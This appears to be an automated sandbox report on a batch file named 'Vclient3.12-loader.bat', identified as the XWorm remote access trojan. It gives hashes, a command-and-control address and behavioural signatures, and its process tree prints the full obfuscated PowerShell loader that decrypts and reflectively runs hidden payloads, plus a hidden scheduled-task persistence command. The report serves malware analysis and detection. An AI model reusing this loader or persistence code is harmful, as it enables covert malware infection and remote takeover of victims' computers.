Analysis
-
max time kernel
93s -
max time network
94s -
platform
windows11-21h2_x64 -
resource
win11-20250217-en -
resource tags
arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system -
submitted
04/03/2025, 03:26
Static task
static1
Behavioral task
behavioral1
Sample
Vclient3.12-loader.bat
Resource
win10ltsc2021-20250217-en
General
-
Target
Vclient3.12-loader.bat
-
Size
337KB
-
MD5
b0b26501fa33bc553f9a54ca28a89a85
-
SHA1
9f868d7d464375d1ea60c5234f4dd057ea85fce1
-
SHA256
f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473
-
SHA512
fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069
-
SSDEEP
6144:7rVhpfca9iHDDTI3nozeFFDNwPlxR+RG7PrwzZ0qw/FU1qBIEhY:dbaHDunIxoRWrOZ05U11EhY
Malware Config
Extracted
xworm
45.88.91.55:8893
-
Install_directory
%ProgramData%
-
install_file
sys-32.exe
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/2916-47-0x000001DC36F50000-0x000001DC36F82000-memory.dmp family_xworm -
Xworm family
-
Blocklisted process makes network request 1 IoCs
flow pid Process 2 2916 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4264 powershell.exe 436 powershell.exe 2916 powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000_Classes\Local Settings powershell.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4264 powershell.exe 4264 powershell.exe 436 powershell.exe 436 powershell.exe 2916 powershell.exe 2916 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4264 powershell.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeIncreaseQuotaPrivilege 436 powershell.exe Token: SeSecurityPrivilege 436 powershell.exe Token: SeTakeOwnershipPrivilege 436 powershell.exe Token: SeLoadDriverPrivilege 436 powershell.exe Token: SeSystemProfilePrivilege 436 powershell.exe Token: SeSystemtimePrivilege 436 powershell.exe Token: SeProfSingleProcessPrivilege 436 powershell.exe Token: SeIncBasePriorityPrivilege 436 powershell.exe Token: SeCreatePagefilePrivilege 436 powershell.exe Token: SeBackupPrivilege 436 powershell.exe Token: SeRestorePrivilege 436 powershell.exe Token: SeShutdownPrivilege 436 powershell.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeSystemEnvironmentPrivilege 436 powershell.exe Token: SeRemoteShutdownPrivilege 436 powershell.exe Token: SeUndockPrivilege 436 powershell.exe Token: SeManageVolumePrivilege 436 powershell.exe Token: 33 436 powershell.exe Token: 34 436 powershell.exe Token: 35 436 powershell.exe Token: 36 436 powershell.exe Token: SeIncreaseQuotaPrivilege 436 powershell.exe Token: SeSecurityPrivilege 436 powershell.exe Token: SeTakeOwnershipPrivilege 436 powershell.exe Token: SeLoadDriverPrivilege 436 powershell.exe Token: SeSystemProfilePrivilege 436 powershell.exe Token: SeSystemtimePrivilege 436 powershell.exe Token: SeProfSingleProcessPrivilege 436 powershell.exe Token: SeIncBasePriorityPrivilege 436 powershell.exe Token: SeCreatePagefilePrivilege 436 powershell.exe Token: SeBackupPrivilege 436 powershell.exe Token: SeRestorePrivilege 436 powershell.exe Token: SeShutdownPrivilege 436 powershell.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeSystemEnvironmentPrivilege 436 powershell.exe Token: SeRemoteShutdownPrivilege 436 powershell.exe Token: SeUndockPrivilege 436 powershell.exe Token: SeManageVolumePrivilege 436 powershell.exe Token: 33 436 powershell.exe Token: 34 436 powershell.exe Token: 35 436 powershell.exe Token: 36 436 powershell.exe Token: SeIncreaseQuotaPrivilege 436 powershell.exe Token: SeSecurityPrivilege 436 powershell.exe Token: SeTakeOwnershipPrivilege 436 powershell.exe Token: SeLoadDriverPrivilege 436 powershell.exe Token: SeSystemProfilePrivilege 436 powershell.exe Token: SeSystemtimePrivilege 436 powershell.exe Token: SeProfSingleProcessPrivilege 436 powershell.exe Token: SeIncBasePriorityPrivilege 436 powershell.exe Token: SeCreatePagefilePrivilege 436 powershell.exe Token: SeBackupPrivilege 436 powershell.exe Token: SeRestorePrivilege 436 powershell.exe Token: SeShutdownPrivilege 436 powershell.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeSystemEnvironmentPrivilege 436 powershell.exe Token: SeRemoteShutdownPrivilege 436 powershell.exe Token: SeUndockPrivilege 436 powershell.exe Token: SeManageVolumePrivilege 436 powershell.exe Token: 33 436 powershell.exe Token: 34 436 powershell.exe Token: 35 436 powershell.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 4476 wrote to memory of 4764 4476 cmd.exe 82 PID 4476 wrote to memory of 4764 4476 cmd.exe 82 PID 4764 wrote to memory of 1824 4764 net.exe 83 PID 4764 wrote to memory of 1824 4764 net.exe 83 PID 4476 wrote to memory of 4264 4476 cmd.exe 85 PID 4476 wrote to memory of 4264 4476 cmd.exe 85 PID 4264 wrote to memory of 436 4264 powershell.exe 86 PID 4264 wrote to memory of 436 4264 powershell.exe 86 PID 4264 wrote to memory of 832 4264 powershell.exe 89 PID 4264 wrote to memory of 832 4264 powershell.exe 89 PID 832 wrote to memory of 3472 832 WScript.exe 90 PID 832 wrote to memory of 3472 832 WScript.exe 90 PID 3472 wrote to memory of 876 3472 cmd.exe 92 PID 3472 wrote to memory of 876 3472 cmd.exe 92 PID 876 wrote to memory of 4952 876 net.exe 93 PID 876 wrote to memory of 4952 876 net.exe 93 PID 3472 wrote to memory of 2916 3472 cmd.exe 94 PID 3472 wrote to memory of 2916 3472 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4476 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:1824
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4264 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_256_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_256.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:436
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_256.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_256.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:3472 -
C:\Windows\system32\net.exenet file5⤵
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file6⤵PID:4952
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_256.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_256.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2916
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5df472dcddb36aa24247f8c8d8a517bd7
SHA16f54967355e507294cbc86662a6fbeedac9d7030
SHA256e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
SHA51206383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
-
Filesize
1KB
MD5eb15ee5741b379245ca8549cb0d4ecf8
SHA13555273945abda3402674aea7a4bff65eb71a783
SHA256b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636
SHA5121f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
337KB
MD5b0b26501fa33bc553f9a54ca28a89a85
SHA19f868d7d464375d1ea60c5234f4dd057ea85fce1
SHA256f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473
SHA512fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069
-
Filesize
115B
MD51e1fb4978be450626368735642b24cf6
SHA14648de013017c5cbd173da217de6ba6f8daffe13
SHA256225be32b3cb44f61d848b16e6304c1675c55582cd222d28ad8713b755f712d3b
SHA512ecb0ef101c02369daddaab4fe2ea8bf970b2b25887c16e944ebf29681f38376d0e24aca19e1258ff1544394e3b6c95d5565c29aee3ba94f4188f9a0c114cc50a